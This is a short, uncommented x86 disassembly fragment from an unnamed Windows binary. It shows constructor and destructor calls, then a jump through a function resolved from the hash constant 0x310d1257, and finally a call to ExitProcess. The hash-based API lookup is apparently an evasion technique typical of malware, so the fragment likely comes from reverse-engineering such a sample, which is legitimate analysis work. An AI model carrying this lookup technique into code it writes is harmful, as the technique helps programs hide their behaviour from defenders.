lea ecx, [ebp - 0x318]
call fcn.1000c7c0
lea eax, [ebp - 0x348]
push eax
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x360]
push eax
call fcn.1000c800
lea edx, [ebp - 0x318]
lea ecx, [ebp - 0x47c]
call fcn.10010b50
add esp, 0x1c
push eax
lea ecx, [ebp - 0x360]
call fcn.1000c6f0
lea ecx, [ebp - 0x47c]
call fcn.1000c6a0
lea ecx, [ebp - 0x318]
call fcn.1000c6a0
lea ecx, [ebp - 0x348]
call fcn.1000c6a0
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x41c]
push eax
call fcn.1000c800
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x330]
push eax
call fcn.1000c800
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x360]
push eax
call fcn.1000c800
lea ecx, [ebp - 0x48a]
call fcn.1000bf80
push 0x5208
mov edx, 0x310d1257
xor ecx, ecx
call fcn.1000df10
call eax
lea ecx, [ebp - 0x360]
call fcn.1000c6a0
lea ecx, [ebp - 0x3d4]
call fcn.1000c6a0
lea ecx, [ebp - 0x3bc]
call fcn.1000c6a0
lea ecx, [ebp - 0x330]
call fcn.1000c6a0
lea ecx, [ebp - 0x3ec]
call fcn.1000c6a0
lea ecx, [ebp - 0x464]
call fcn.1000c6a0
lea ecx, [ebp - 0x44c]
call fcn.1000c6a0
lea ecx, [ebp - 0x41c]
call fcn.1000c6a0
lea ecx, [ebp - 0x404]
call fcn.1000c6a0
lea ecx, [ebp - 0x378]
call fcn.1000c6a0
mov dword [ebp - 4], 0xffffffff
call fcn.100193c0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]